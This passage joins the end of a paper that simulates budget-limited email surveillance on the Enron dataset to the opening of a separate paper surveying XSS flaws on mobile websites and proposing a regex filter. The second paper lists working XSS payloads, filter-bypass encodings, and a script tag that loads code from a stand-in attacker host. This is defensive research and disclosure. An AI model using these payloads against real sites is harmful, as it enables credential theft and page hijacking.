cated to each window. This is to reflect the general situation that the dynamic
surveillance would not know when more new nodes would appear in the sur-
veillance. Without knowing the future information, the strategy of even budget
allocation would be a reasonable choice.

The general question is whether there would be a better way of budget allo-
cation in an effort to improve node discovery. To be fair, the total amount of
budget needs to be assumed fixed. The total amount of budget is defined as the
average budget per window multiplied by the number of windows of the entire
surveillance period, 5 years.
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Fig. 5. Node discovery with variable budget distribution in before-event surveillance
(message window based)

One immediate way is to allocate a relatively large portion of budget to
the early stage of surveillance. The idea is to exploit the general pattern of
communication map that a small percentage of nodes are connected to most of
the nodes.

The hope is that if such small percentage of nodes would be discovered at
an early stage, the node discovery would be more effective for the rest of the
surveillance even with less amount of budget to the following windows. Therefore,
the two variations of budget allocation are experimented here: firstly 50 % of the
total budget to the early 10 % of the surveillance period, secondly 90 % of the
total budget to the early 10 % of the surveillance period. The rest of surveillance
windows receive the even distribution of the remaining budget in both cases.
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Figure 5 shows the results of the two cases; (a) and (c) show the node and
suspect discovery rates for the first case (50 % allocation first), and, (b) and (d)
show the second case (90 % allocation first). In comparison to Fig. 4(c) and (d)
(message window, local scope), the node discovery rates of Fig. 5(a) and (c) are
not higher, and those of Fig. 5(b) and (d) are lower. These results apparently do
not support the hope of finding more node.

More interestingly, in Fig. 5, (b) and (d) (90 % budget to the first 10 % of
surveillance period) show even lower rates than in (a) and (c) (50 % budget
to the first 10 % of surveillance period). This result means that higher budget
allocation to the early stage results in even lower node discovery. In an effort
to understand this interesting result, the micro behavior of node discovery is
further analyzed next.

Micro Observation of Node Discovery. Figure 6 shows the “progress” of
node discovery of three budget allocation cases; even, 50 % first, and 90 % first
allocations. The X-axis shows the time line in the number of surveillance win-
dows. The Y-axis shows the return intelligence either the number of nodes iden-
tified (a, c, e) or the number of suspects (employees) (b, d, f) as the one time
simulation progresses on the time line. As such, the returning intelligence (Y-
axis) only grows on the time line (X-axis).

Note that these figures are different from the previous ones (Fig. 4), where
the curves show the averaged return intelligence of multiple independent sim-
ulation runs. Different points of the curve are from different simulation runs.
In comparison, different curves of Fig. 6 are from different simulation runs. The
points of one curve are all from the same simulation runs.

The left column of three graphs, (a), (c) and (e), show the node discovery
and the right three (b, d, f) show the suspect discovery. The first row, (a) and
(b), are for the even distribution, the middle two (c) and (d) for the 50 % first,
and, the bottom two (e) and (f) are for the 90 % first.

The highlight of this figure is the growing rate of the returning intelligence.
In (a), the even distribution of budget, the node discovery grows almost linearly
and eventually tops around 27,000 nodes, which is about 35 % of the entire nodes.

In (c) the discovery grow rapidly for the first 10 % surveillance period and
the growth rate goes down immediately after the first 10 % surveillance period.
This phenomenon stands out more distinctively in (e). This trend remains the
same even in the suspect discovery rates in (d) and (f).

Interestingly, in (e), the 90 % first does not boost the node discovery rate
even for the early 10 % of surveillance period in comparison to (c). Evidently,
this tells that more than 50 % budget allocation to the early 10 % of surveillance
would not result any more intelligence return in this case study.

From a slightly different angle, this also suggests that the higher budget
allocation to the early 10 % of surveillance was not much effective because the
possible pattern (power-law, for example) of communication map was not fully
recognizable in the early stage even by the temporarily large budgets. So, in this
case study, choosing the even budget distribution seems favorable for the two
selection algorithms, HDF and HTF.
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Fig. 6. Progress of node discovery with various budget allocation cases
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(a) 0.1% data of whole email messages
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Fig. 7. Surveillance with unlimited resource

4.4 Surveillance with Unlimited Resource

Using the same simulation data set, this section runs the simulation with unlim-
ited resource, i.e., the surveillance monitors every single communication occur-
rence between any two nodes. The communication map is complete at any given
moment, therefore. The motivation is to see the difference between the intelli-
gence returned by resource-limited and -unlimited surveillance.

Figure 7 shows four graphs on the X-Y plane with a logarithmic scale on
the X axis. As before, the Y-value is the ratio of node (unique email address:
both employee and third party combined) discovery. The X axis shows the top
percentage of nodes with the priorities assigned by the target selection algorithm.

For example, in (b), the top 1 % of nodes selected (on X-axis) either by
HDF or HTF are connected with the other 70 % or higher (Y-axis) nodes of
the communication map. This means that the selection of top 1 % nodes by
the selection algorithms can identify more than 70 % of the nodes at the given
moment. Since the surveillance has unlimited computing power, each single node
or communication addition causes a new complete computation of the entire
communication map. This allows the algorithm to assign the priority based on
the exact global and complete view at any moment.
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The four graphs are obtained as follows. First, take the first 0.1 %, 1 %, 10 %,
and 100 % portion of the simulation data set from the time line. (Remember
that the simulation data set is a chronologically ordered communication occur-
rences among subjects.) Second, sort out the selected portion using the three
algorithms; HDF, HTF, and RAND. Here, all the nodes, which ever communi-
cated with any of the selected nodes are considered discovered. Third, create a
curve for each selection algorithm for the four different sets.

Since the four first portions (0.1 %, 1 %, 10 %, and 100 %) are different in size
from each other, the connectivity of the top percentage of the first portion to
the rest of the first portion is different from each other, too. For example, the
node discovery by top 1 % is more than 80 % in (a), more than 70 % in (b), more
than 50 % in (c), and lastly more than 40 % in (d). The larger the first portion,
the smaller the top percentage nodes connectivity.

Note that Fig. 7 cannot be directly compared to Fig. 4, where the X-axis was
a time line while it is the top percentage of priority by the chosen target selection
algorithm.

One convenient way to interpret the four graphs is to regard each one (a, b,
c, d) as the snapshot of the surveillance with unlimited resource at the moments
where the communication map reaches the first 0.1 %, 1 %, 10 %, and eventually
100 % of the entire nodes. Because it is resource limitation-free, the surveillance
knows exactly what has happened. The current communication map itself reveals
100 % discovery at any time. This is the big difference between the resource-
limited and -unlimited surveillance.

With the always complete Communication map a few interesting observations
are readily available.

1. As the surveillance progresses, HDF returns higher intelligence than HTF,
2. RAND returns constantly poor intelligence.
3. The curve patterns do not seem to change regardless of the size of the early

portion of data set.

Considering these observations, it can be said that there maybe some patterns
in the complete communication map, and, the HDF seems to exploit the patterns
most effectively. It indirectly shows that the pattern may be a power law-style.
Since RAND does not utilize any pattern, it should return the worst intelligence.

There is an interesting observation with the sizes of window. Figure 4 uses a
range of window sizes. For example, the largest window size in Fig 4(c) is 16,384
messages, which corresponds to about 6.5 % of the entire data set. This window
size is actually larger than those of Fig. 7(a) and (b). The largest window of
Fig. 4(a) is 3,072 h, corresponding to about 8.5 % of the entire surveillance period.
Interestingly even these large window sizes do not make the node discovery higher
than 40 % in Fig. 4(a) and (c).

Again, the major contributor to this interesting result is the incompleteness
of the communication map due to the limited budget. The incomplete map
constantly leads a sub-optimal selection of target nodes for next surveillance
round. This phenomenon continues even with considerably large window sizes.
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Lastly, the lowest curve in Fig. 7(d), is a hypothetical case, in which the target
group uses an anonymity system such that the node discovery is perfectly linearly
proportional to the surveillance budget. So, in order to find out X number of
subjects of the target group, the budget of X should be invested. Finding the
existence of such an anonymity system is out of the scope. This case, however,
gives the lower bound to the surveillance performance. Even RAND performs
better than this imaginary case.

5 Conclusions

The motivation of this work is to obtain insights into the impact of limited
resource on the intelligence returned by surveillance. This work takes an exper-
imental method in an effort to approach the right answer. The experiment was
done in a form of simulated surveillance using a publicly available Enron email
data set. The data set does not contain a complicated anonymity algorithms
except data encryption. So the target selection algorithms were simple for the
surveillance. However, the nature of the data set, a reflection of human interac-
tions as a real trace, gives some credit on the actuality of the data set.

The experiment was done firstly with limited resource and followed by another
form of surveillance with unlimited resource for comparison. As seen in the two
strikingly different graphs (Figs. 4, 7), the impact of limited resource can be
larger than expected. As seen in Fig. 4, the idea of exploiting some intuitive pat-
terns (high degree or high traffic) on the communication map was not effective
with limited budgets. After the peak points, larger budgets and larger win-
dow sizes produced worse intelligence. Although both HDF and HTF perform
much better that RAND after the peak, the intelligence returned by both was
monotonically decreasing with considerably larger budgets and window sizes.

By comparing the two surveillance cases (resource limited vs. unlimited),
even though this work is about only one single case study with Enron email
data set, some conclusions can be drawn that:

– Surveillance with limited resource may have some optimal points in terms of
the combination of budget and window size that can maximize the quality of
intelligence returned by the surveillance.

– Even allocation of budgets throughout the surveillance may work better than
strategically uneven allocations.

– The incompleteness of the communicationmap seems to bemaintained through-
out the surveillance. This may be the major contributor to the observation that
both HDF and HTF do not return significantly higher intelligence than RAND.

This work, although the generality is limited due to the scope of single case
study, solicits further work, including but not limited to, on the optimal combi-
nation of budget and window size while the hidden group size is still unknown
(with possible estimates of the group size), and, on the minimum size of com-
munication map that is yet large enough to show some patterns to be utilized.
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Abstract. In this paper, we address the overlooked problem of
Cross-Site Scripting (XSS) on mobile versions of web applications. We
have surveyed 100 popular mobile versions of web applications and
detected XSS vulnerabilities in 81 of them. The inspected sites present
a simplified version of the desktop web application for mobile devices;
the survey includes sites by Nokia, Intel, MailChimp, Dictionary, Ebay,
Pinterest, Statcounter and Slashdot. Our investigations indicate that a
significantly larger percentage (81 % vs. 53 %) of mobile web applications
are vulnerable to XSS, although their functionality is drastically reduced
in comparison to the corresponding desktop web application.

To mitigate XSS attacks for mobile devices, this paper presents a
light-weight, black-list and regular expressions based XSS filter for the
detection of XSS on mobile versions of web applications, which can be
deployed on client or server side. We have tested our implementation
against five different publicly available XSS attack vector lists; none
of these vectors were able to bypass our filter. We have also evaluated
our filter in the client-side scenario by adding support in 2 open source
mobile applications (WordPress and Drupal); our experimental results
show reasonably low overhead incurred due to the small size of the filter
and computationally fast regular expressions. We have contributed an
implementation of our XSS detection rules to the ModSecurity firewall
engine, and the filter is now part of OWASP ModSecurity Core Rule Set
(CRS) https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/
master/base rules/modsecurity crs 41 xss attacks.conf.

Keywords: XSS, Mobile web, Regular expression, Client-side filter

1 Introduction

Cross-Site Scripting (XSS) [3] is one of the most prevalent security issue in web
applications: according to a recent report by WhiteHat, 53 % of websites have
XSS vulnerabilities [4]. An attacker can exploit an XSS vulnerability to steal
users’ credentials, spread worms and deface websites. Researchers have proposed
different mitigation against XSS ranging from purely client or server side meth-
ods to hybrid solutions [22,23,25,27–29,31–33]. However, the field which still
lacks research is mobile versions of web applications.

Y. Kim et al. (Eds.): WISA 2013, LNCS 8267, pp. 103–123, 2014.
DOI: 10.1007/978-3-319-05149-9 7, c© Springer International Publishing Switzerland 2014
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Characterization of Mobile Web Applications. In mobile web applica-
tions, functionality and user interaction is adapted to the small touchscreens of
modern smartphones. The URLs of mobile web applications often start with the
letter “m”, or end in the words “mobi” or “mobile”. Sites automatically present
a simple and optimized version of their web application to mobile browsers, e.g.,
Etsy (a popular handmade items’ marketplace) website1. These stripped-down
versions of web applications contain significantly less or no AJAX-style interac-
tions, thus the attack surface for XSS should (at first glance) be reduced.

We found that mobile sites have approximately 69 % less HTML code as
compared to desktop versions (see Sect. 2.3). Only one mobile site (http://www.
jobmail.co.za/mobile/) is using Modernizr2 – a JavaScript library that detects
HTML5 and CSS3 features in the user’s browser – which indicates that these
novel features are rarely used. According to [5]:

“... In mobile interfaces, set of navigation options is usually presented one at
a time; for example, with iPhone-style sliding drill-down menu panels. ...”

A usability study of hundreds of sites conducted by Nielsen Norman Group
[6] states:

“Good mobile user experience requires a different design (cut features, cut
content and enlarge interface elements) than what’s needed to satisfy desktop
users. The desktop user interface platform differs from the mobile user inter-
face platform in many ways, including interaction techniques, how people read,
context of use, and the plain number of things that can be grasped at a glance.”

XSS Vulnerabilities in Mobile Web Applications. We found XSS vulner-
abilities in 81 of the 100 surveyed applications (see Sect. 2) which shows (when
compared to the 53 % from the WhiteHat study [4]) that a significantly higher
percentage of these applications are affected by XSS. This result is surprising,
since the reduced functionality of the mobile versions should facilitate protec-
tion against such attacks. According to OWASP Top 10 Mobile Risks, client-side
injection is ranked as number four [17].

Mitigation against XSS. For the simple and optimized mobile versions of web
applications, we need a simple and light-weight solution that incurs reasonably
low run-time overhead for the application (both on client and server side) and
at the same time requires little effort or knowledge from the developers.

Filtering malicious content is the most commonly used method for the pre-
vention of XSS on web applications and sites normally use filtering as a first line
of defense. The main goal of filtering is to remove malicious contents from the
user-supplied input, while still allowing the non-malicious parts to be processed.
A recent paper [16] has also argued in favor that mobile applications can learn
from the web experience.

Since removing malicious content from user-supplied input is a complicated
and error-prone task, we take the stricter blocking approach to keep our filter
1 “Type Etsy.com into your mobile browser on your phone and you’ll find a simple
and optimized version of the Etsy site http://www.etsy.com/”.

2 http://modernizr.com/

http://www.jobmail.co.za/mobile/
http://www.jobmail.co.za/mobile/
http://www.etsy.com/
http://modernizr.com/
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simple: Whenever we detect malicious content, the whole request is blocked, and
only an error message is returned.

Related Work. The idea of using client-side filter to mitigate XSS is not new.
Engin Kirda et al. propose Noxes [25] which is a client-side, Microsoft Windows
based personal web application proxy. Noxes provides fine-grained control over
the incoming connections to the users so that they can set XSS filter rules without
relying on web application provider. Noxes assumes that users are trained and
security aware and can set filtering rules, which is not the case often and at the
same time it requires considerable amount of effort from the users. Noxes does
not consider HTML injection and only Windows based.

Omar Ismail et al. [26] propose a client-side solution for the detection of XSS.
The solution, which is user-side proxy, works by manipulating the client request
or server response. The solution works in two modes request change mode and
response change mode and also requires servers (i.e., collection/detection and
database server). As authors stated in the paper that the proposed solution can
affect performance because of extra request in request change mode. At the same
time in response change mode, proxy assumes that the parameter with length
greater than 10 characters should contain XSS script, which is not the case
often. Last but not the least, solution is not automatic and requires considerable
amount of effort from the developer because it requires manual insertion of
scripts used for XSS detection.

Vogt et al. also propose a client-side solution [29] for the mitigation of XSS
attacks. The proposed solution track flow of sensitive information inside the
Mozilla Firefox browser and alert user if information starts flowing towards third-
party. The proposed solution is a good protection layer against XSS but as
authors stated that it requires considerable engineering effort to modify the
Firefox browser.

Mozilla proposed Content Security Policy (CSP) for the mitigation of XSS
attacks [31]. At the time of writing, mobile browsers do not support3 W3C
CSP 1.0 specifications4. At the same time, CSP requires great amount of effort
from developers to modify sites because of no inline-JavaScript support. We
have also compared our XSS filter with some industry proposed XSS filters (see
Sect. 7).

Our Solution. In this paper, we present a simple, optimized, light-weight and
black-list client-side XSS filter for mobile applications (see Sect. 4). Our XSS
filter is based on a set of regular expressions and can cope with code obfus-
cation. We have chosen regular expressions because (if implemented correctly)
they are computationally fast compared to any equivalent string manipulation
operation (see Sect. 6.2) and easy to maintain. Our set of regular expressions can
be deployed in server-side filters (e.g., in firewall), or as a client-side JavaScript
function.
3 Flip the pref to turn on the CSP 1.0 parser for Firefox for Android: https://bugzilla.

mozilla.org/show bug.cgi?id=858780.
4 http://www.w3.org/TR/CSP/

https://bugzilla.mozilla.org/show_bug.cgi?id=858780.
https://bugzilla.mozilla.org/show_bug.cgi?id=858780.
http://www.w3.org/TR/CSP/
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Our solution is not intended for desktop based web applications because
of complex nature of web applications and significant use of AJAX. Our filter
may harm the performance of the rich internet application and it requires more
changes from the developers perspective, and may not be able to deal with highly
complex XSS vectors available there. From now on, we will only consider mobile
version of web application that are simple in nature.

Regular expressions based XSS filters are very common e.g., the Firefox
NoScript5 and the XSS filter implemented in Internet Explorer use regular
expressions. In this paper, we leverage the idea of regular expressions from Gary
Wassermann et al.’s work [1]. Wassermann et al. have proposed static detec-
tion of XSS vulnerabilities using tainted information flow and string analysis.
They have developed a function named stop xss that uses regular expressions
to capture malicious input from the user-supplied string. The function stop xss
has three categories of regular expressions to deal with different types of XSS
vectors.

1. A regular expression category that deals with script tag based XSS vectors,
e.g., <script>alert(1)</script>. We call it Category 1.

2. A regular expression category that deals with XSS vectors making use of
event handlers like onerror, onload etc, e.g., <body onload="alert(1)">.
We call it Category 2.

3. A regular expression category that deals with XSS vectors making use of
JavaScripts URIs, e.g., <p style="background:url(javascript:alert(1))
">. We call it Category 3.

For client-side deployment, we have implemented the XSS filter as a JavaScript
function (see Sect. 5). To integrate our filter, sites simply have to inlcude or
link the JavaScript XSS filter code at the top of their web page. This is very
common practice and it can even be observed on the mobile sites especially when
sites include the jQuery mobile JavaScript library6 (see Sect. 2.3). Sites may call
our filter function on HTML form’s (<form> tag) onsubmit event handler, e.g.,
“onsubmit=xssfilter()”.

For server-side deployment, sites may use our filtering rules in Firewall or
as server-side reverse proxy. Apache’s mod proxy module provides functionality
to set up reverse proxy and then proxy decides how to deal with the incoming
requests according to the rules [35]. We have contributed an implementation
of our XSS detection rules to the world most widely deployed firewall engine –
ModSecurity – (around 1,000,000 deployments7), and the filter is now part of
OWASP ModSecurity Core Rule Set (CRS) (see Sect. 6.3). In this paper, we
focus only on the client-side deployment. We have also tested our filter against
a large set of XSS vectors (see Sect. 5.2) and have evaluated our client-side
implementation by adding support in two popular open-source (Wordpress and
Drupal) mobile applications (see Sect. 6).

5 http://noscript.net/
6 http://jquerymobile.com/
7 https://www.trustwave.com/modsecurity-rules-support.php

http://noscript.net/
http://jquerymobile.com/
https://www.trustwave.com/modsecurity-rules-support.php
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Contributions. The paper makes the following contributions:

• It presents a survey of 100 mobile sites and found XSS vulnerabilities in
81 of them. The complete list of mobile sites that are vulnerable to XSS
vulnerabilities is available at http://pastebin.com/AHJbjJsy.

• It proposes a XSS filter for mobile versions of web applications based on regu-
lar expressions and blacklisting. We have contributed our XSS detection rules
to the ModSecurity firewall engine, and have implemented it as a Javscript
function for client-side deployment.

• The proposed XSS filter was tested against five publicly available XSS vector
lists, and no vector was able to bypass the current version of the XSS filter.

• The feasibility of our approach was shown by adding our XSS filter as a
JavaScript function in two open-source mobile applications, with reasonably
small overhead (client-side), and by the integration into ModSecurity after
intensive testing by the OWASP Modsecurity team (server-side).

2 Survey

In this section, we present the results of our survey8 and discuss these results
briefly. To the best of our knowledge, this is the first survey on mobile web
applications. All quantitative overviews on XSS we are aware of are related to
desktop version of web applications. During the survey of 100 popular mobile
version of web applications, we found reflective XSS vulnerabilities in 81 sites,
including web sites like Nokia, Intel, MailChimp, Vodafone, Dictionary, Ebay,
Answers, HowStuffWorks, Statcounter and Slashdot etc.

2.1 Methodology of Testing Websites

We manually injected a commonly used XSS vector (i.e., "><img src=x onerr
or=prompt(1);>) in the input fields available on the mobile-version of web
applications. In order to open mobile versions of websites, we have used Mozilla
Firefox browser on Windows 7, running on DELL Latitude E6420ATG (Intel
Core i7 processor). In 74 out of 81 XSS vulnerable websites we found HTML
forms (<form> tag). Similar to the desktop versions, on mobile versions we also
found usage of the <form> tag for search, feedback and log-in functionality. For
the remaining 7 sites we have injected the XSS vector directly in URL being
retrieved (in the query string of the URL). The reason for this large amount of
XSS vulnerabilities seems to be the total lack of input validation on client and
server side.

One could argue that this lack of filtering could be intentional, since there
is probably no attractive target for attackers amongst mobile web applications.
This is however not the case: e.g., Pinterest (http://m.pinterest.com) has an XSS
vulnerability (see http://i.imgur.com/sJUQdwt.jpg) and this site has millions of

8 The complete list of surveyed mobile sites is available at http://pastebin.com/
MabbJWWL.

http://pastebin.com/AHJbjJsy
http://m.pinterest.com
http://i.imgur.com/sJUQdwt.jpg
http://pastebin.com/MabbJWWL.
http://pastebin.com/MabbJWWL.
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unique users9. We have also found other examples of attractive targets on the
mobile side like MailChimp’s log-in form10, Jobmail’s Employer login form11,
Moneycontrol’s (India’s #1 financial portal) registration form12 and Mobiletribe
personal detail form13, Homes’ login form14 and many others etc. Attacker can
steal users’ credentials by exploiting the XSS flaw.

2.2 Ethical Considerations

Regarding our findings, we are acting ethically and have informed some sites
about the XSS vulnerability and in the process of contacting others. Some of
the XSS issues have been fixed and some are in progress. Sites like Nokia and
Intel have reacted promptly and now in both cases XSS (see http://i.imgur.com/
FTVFlpm.png and http://i.imgur.com/Qzp7bhJ.jpg) has been fixed by their
security teams and at the same time they have also acknowledged15 our work.
We believe that our survey will help raise awareness about XSS problems on
mobile sites. Table 3 (see Appendix) shows top site names along with its Alexa
rank at the time of writing.

2.3 Stripped-Down Versions of Desktop Web Applications

HTML Usage on Mobile Sites: Our manual source code analysis of mobile
web sites showed that they contain significantly less HTML code as compared to
the desktop version of the same application. To be precise, we found an average
of 69 % less HTML code on mobile variants of web application. Figure 1 shows
the difference in number of lines of HTML code on mobile and desktop sites.

JavaScript Usage on Mobile Sites: Our survey results show that 79 sites out
of 100 are using JavaScript on mobile version of their web application. The other
21 sites do not use JavaScript at all. However, most of this code is JavaScript-
based third-party tracking. We found 62 sites are using JavaScript tracking code
provided by different ad-networks (41 sites are using Google Analytics JavaScript
code). According to recent report by Ghostery, Google Analytics is the most
widespread tracker on web [20]. Our survey has found that Google Anayltics is
the also widespread tracker on mobile16.

We also found that 33 sites are using jQuery mobile library17. The jQuery
mobile library allows developers to build mobile applications that can run across
9 http://en.wikipedia.org/wiki/Pinterest

10 XSS is now fixed, see http://i.imgur.com/oWwpc1e.jpg
11 http://www.jobmail.co.za/mobile/employerLogin.php
12 http://m.moneycontrol.com/mcreg.php
13 http://portal.motribe.mobi/signup
14 http://m.homes.com/index.cfm?action=myHomesLogin#signin
15 Nokia has sent us Nokia Lumia 800 Phone as a part of appreciation and responsible

disclosure.
16 For interested readers, we will soon publish a technical report titled — “A Footprint

of Third-Party Tracking on Mobile Web”.
17 http://jquerymobile.com/

http://i.imgur.com/FTVFlpm.png
http://i.imgur.com/FTVFlpm.png
http://i.imgur.com/Qzp7bhJ.jpg
http://en.wikipedia.org/wiki/Pinterest
http://i.imgur.com/oWwpc1e.jpg
http://www.jobmail.co.za/mobile/employerLogin.php
http://m.moneycontrol.com/mcreg.php
http://portal.motribe.mobi/signup
http://m.homes.com/index.cfm?action=myHomesLogin#signin
http://jquerymobile.com/
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Fig. 1. Comparison of HTML lines of code on Mobile and Desktop versions.

the various mobile web browsers and provide same or at least a similar user inter-
face [21]. Unfortunately, we have found only one (out of 79) client-side input
validation JavaScript library18. We were able to break that validation library
using the following cross-domain XSS vector: "><iframe src=//0x.lv>19.
The input field has constraint on length and that’s why, in this case, we have
used this vector. The remaining 78 sites have no sort of server side filtering also.

3 Overview of XSS Filtering Approach

The goal of an XSS filter is to filter potentially malicious input from the user-
supplied string. To achieve maximum protection, we use a blocking approach: as
soon as the XSS filter detects malicous input, we immediately block the sending
(client side) or processing (server side) of the corresponding GET or POST request.
The idea of completely blocking the GET or POST request is e.g., implemented
by the IE XSS filter’s block mode [2]. The Internet Explorer XSS filter supports
X-XSS-Protection: 1; mode=block which means that when the IE XSS filter
detects the malicious outbound HTTP requests and mode value has been set to
block, then IE stops rendering the page and only renders # sign. Blocking is a
safe way to achieve maximum security and at the same time it helps in avoiding
introduction of filter based vulnerabilities in web applications [24], but it may
break some of the more complex web applications. Since mobile versions are
much simpler than their desktop equivalents, blocking seems to be an adequate
method to solve the XSS problem.

3.1 Regular Expressions

A regular expression is a pattern for describing a match in user-supplied input
string. Table 4 (see Appendix), briefly describes the syntax related to the regular
18 http://m.nlb.gov.sg/theme/default/js/validate.js
19 The url 0x.lv has been developed by Eduardo Vela of Google.

http://m.nlb.gov.sg/theme/default/js/validate.js
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expressions that are used in our filter. For interested readers, in favor of space
restriction, we refer to [7–10] for detailed descriptions on regular expressions.

3.2 Black-List Approach

Our filter is based on a black-list approach: the filter immediately rejects mali-
cious input patterns if they match with the blacklist of regular expressions. XSS
vectors typically belong to specific categories and the number of categories are
finite; in our filter we cover every known category of XSS vectors. Our focus dur-
ing the development of this filter was thus on categories of XSS vectors, and not
on individual XSS vectors. Our starting point was the work of Wasserman et. al
[1], which contains the idea of XSS categories. We will discuss shortcomings of
Wasserman et al.’s regular expressions’ categories (see Sect. 3.5). We have care-
fully analyzed publicly available XSS vector lists to group them into different
categories. The figure available at http://i.imgur.com/C0sihbg.jpg shows that
the large number of XSS vectors belong to three main categories (i.e., Category
1,2 and 3 – see Sect. 3.5). There are some other categories of XSS vectors and
we will discuss in Sect. 4.4.

3.3 Community-Input

In order to cover all possible edge cases and for hardening the filter, we have
announced an XSS challenge based on our filter rules. The challenge was
announced on Twitter and security researchers as well as professional penetration-
testers from around the world have actively participated in the challenge. We
have received around 10K XSS vectors from participants and found only three
types of bypasses (i.e., <form> tag based XSS vector, <isindex> tag based
XSS vector and IE9 specific bypass). In IE9 “vertical tab i.e., U+000B ” can
be used as an alternative of white-space character in between tag name and
attribute and IE9 renders the XSS vector. We have added support of bypasses
in the filter. The challenge was also intended to get state-of-the-art XSS vectors.
After extensive testing against publicly available XSS vectors, state-of-the-art
XSS vectors20 and internal testing by OWASP Modsecurity team, we can how-
ever say that our filter in its current form is hard to bypass and can be used as
an additional layer of security (see Sect. 4.5).

3.4 Threat Model

This section describes the capabilities of an attacker that we assume for the rest
of this paper. In XSS, an attacker exploits the trust a user has for a particular
web application by injecting arbitrary JavaScript on the client-side. A mobile web
application attacker model is similar to the standard web attacker threat model,
proposed by Adam Barth et al. in [30]. In mobile web application attacker threat

20 We have collected a list of some of the state-of-the-art XSS vectors here http://
pastebin.com/BdGXfm0D.

http://i.imgur.com/C0sihbg.jpg
http://pastebin.com/BdGXfm0D
http://pastebin.com/BdGXfm0D
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model, attacker has a mobile server under his control, and has the ability to
trick the user into visiting his mobile web application. We do not consider a case
where input could originate, for example, as URL encoded parameter via link
from another web site.

3.5 Limitations of Regular Expressions Used in Wassermann et al.’s
stop xss Function

In this section we briefly discuss the limitations of Wassermann et al.’s regular
expressions and the respective bypasses found. We have mentioned earlier that
Wassermann et al. used three categories of regular expressions.

Category 1: The regular expression in this category handles XSS vectors mak-
ing use of the script tag. The regular expression is:

<script[^>]*>.*?</script>

The regular expression above can correctly capture XSS vectors like the
following:

• <script src="http://www.attacker.com/foo.js"></script>21

• <script>alert(1)</script>

Now we discuss limitations of this regular expression along with XSS vectors
that are able to bypass the regular expression:

• The regular expression does not consider “space” before the closing angular
bracket in the closing script tag like: <script>alert(1)</script > and
this is a valid XSS vector that shows an alert box22. Valid means an XSS
vector that causes alert window to show up.

• The regular expression does not consider “space” along with junk values
before the closing angular bracket in the closing script tag like:
<script>alert(1)</script anarbitarystring>23.

• The regular expression does not consider the absence of a closing angular
bracket in the closing script tag like:
<script>alert(1)</script
Modern browsers render this vector and display an alert window24.

• The regular expression does not consider “new line” in the script tag like:

<script>
alert(1)

</script>

21 http://jsfiddle.net/Nz5ad/
22 http://jsfiddle.net/dDBdP/
23 http://jsfiddle.net/dDBdP/1/
24 http://jsfiddle.net/dDBdP/2/

http://jsfiddle.net/Nz5ad/
http://jsfiddle.net/dDBdP/
http://jsfiddle.net/dDBdP/1/
http://jsfiddle.net/dDBdP/2/
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Modern browsers also render25 the above XSS vector. An attacker can use this
type of vector if sites allow input in a <textarea> tag. The <textarea> tag
is a multi-line input control and sites widely used it to ask for user-comments.

• The regular expression does not consider any obfuscation (base6426, URL
encoding27, Hex entities28 and Decimal entities29) of XSS vectors as described
in http://pastebin.com/a4WSVDzf in favor of space restrictions. In order to
convert XSS vectors into obfuscated form, attacker can use publicly available
utilities like http://ha.ckers.org/xsscalc.html.

• The regular expression also does not consider the complete absence of a closing
script tag like: <script>alert(1) e.g., following is a valid vector in the
Opera browser30:

<svg><script>alert(1)

Category 2: The regular expression in this category matches XSS vectors mak-
ing use of event handlers like onload, onerror etc. The regular expression is:

/([\s"’]+on\w+)\s*=/i

The regular expression above can correctly captures XSS vectors like:

• <body onload="alert(1)">
• <img src= /" onerror=alert(1)>
• <img src="http://www.google.com/logos/classicplus.png" alt="Img
Not Found" onerror=alert(1)>

• <img src=’x’ onerror=alert(1) >

Now we discuss limitations of this regular expression along with XSS vectors
that are able to bypass this regular expression:

• The regular expression does not consider forward slash (/) before an even-
thandler e.g., <svg/onload=prompt(1)>. All modern browsers render this
XSS vector31.

• The regular expression does not consider a back-tick symobol ‘ before even-
thandler e.g., <img src=‘xx:xx‘onerror=alert(1)>. This is a valid XSS
vector which is rendered by the Internet Explorer (IE)32.

• The regular expression does not match an equal sign “=” if present before
the eventhandler e.g., IE specific XSS vector33: <script FOR=window Event
=onunload>alert(2)</script>

25 http://jsfiddle.net/dDBdP/3/
26 http://jsfiddle.net/7aUu8/
27 http://jsfiddle.net/GPPB6/
28 http://jsfiddle.net/h2XWN/1/
29 http://jsfiddle.net/xsrDj/
30 http://jsfiddle.net/F58Zd/
31 http://jsfiddle.net/JMEFE/
32 http://jsfiddle.net/5X6E6/
33 http://jsfiddle.net/KmQUF/

http://pastebin.com/a4WSVDzf
http://ha.ckers.org/xsscalc.html
http://jsfiddle.net/dDBdP/3/
http://jsfiddle.net/7aUu8/
http://jsfiddle.net/GPPB6/
http://jsfiddle.net/h2XWN/1/
http://jsfiddle.net/xsrDj/
http://jsfiddle.net/F58Zd/
http://jsfiddle.net/JMEFE/
http://jsfiddle.net/5X6E6/
http://jsfiddle.net/KmQUF/
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• The regular expression also fails to capture malicious input if semi-colon sign
“;” is present before the eventhandler name e.g.,34

<iframe src=javascript:/&lt;img&#32;src=1&#32;onerror=
[alert(1)]&gt/.source>

• Finally, the regular expression also does not consider any obfuscations like:

(a) <iframe src="data:text/html,<body %6fnload=alert(1)>">
</iframe>

(b) <iframe src="data:text/html;base64,PGJvZHkgb25sb2FkPWFsZXJ
0KDEpPg=="></iframe>

(c) <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQ
oMik+ ></object>

In (a), the attacker used the URL encoding of letter the “o”, i.e., %6f. In
(b), the base64 obfuscated value (PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==) is
equivalent to <body onload=alert(1)> and in (c), base64 obfuscated value
(PHN2Zy9vbmxvYWQ9YWxlcnQoMik+) is equal to <svg/onload=alert(2)>

Category 3: The regular expression in this category matches XSS vectors mak-
ing use of JavaScript URIs. The regular expression is:

/(=|(U\s*R\s*L\s*\())\s*("|\’)?[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/i

The regular expression above can correctly capture XSS vectors like:

• <a href=javascript:alert(1)>Click Me
• <p style="background:url(javascript:alert(1))">
• <iframe src="jaVAscRipT:alert(1)">
• <form><button formaction="javascript:alert(1)">X</button>

But the main limitation of regular expression is that it can not handle obfusca-
tions like:

(a) <img src=x onerror=javascri&#x70;t:alert(1)>
(b) <iframe src=JaVascrIPt&#x3A;alert(1)>
(c) <iframe src=java&#115;cript:prompt(1)>

In (a), an attacker used hex encoding of the letter “p” in order to bypass the
filter. Similarly, in (b), an attacker used hex encoding of colon (:) and in (c),
the vector uses decimal encoding of letter “p”. Modern browsers render all these
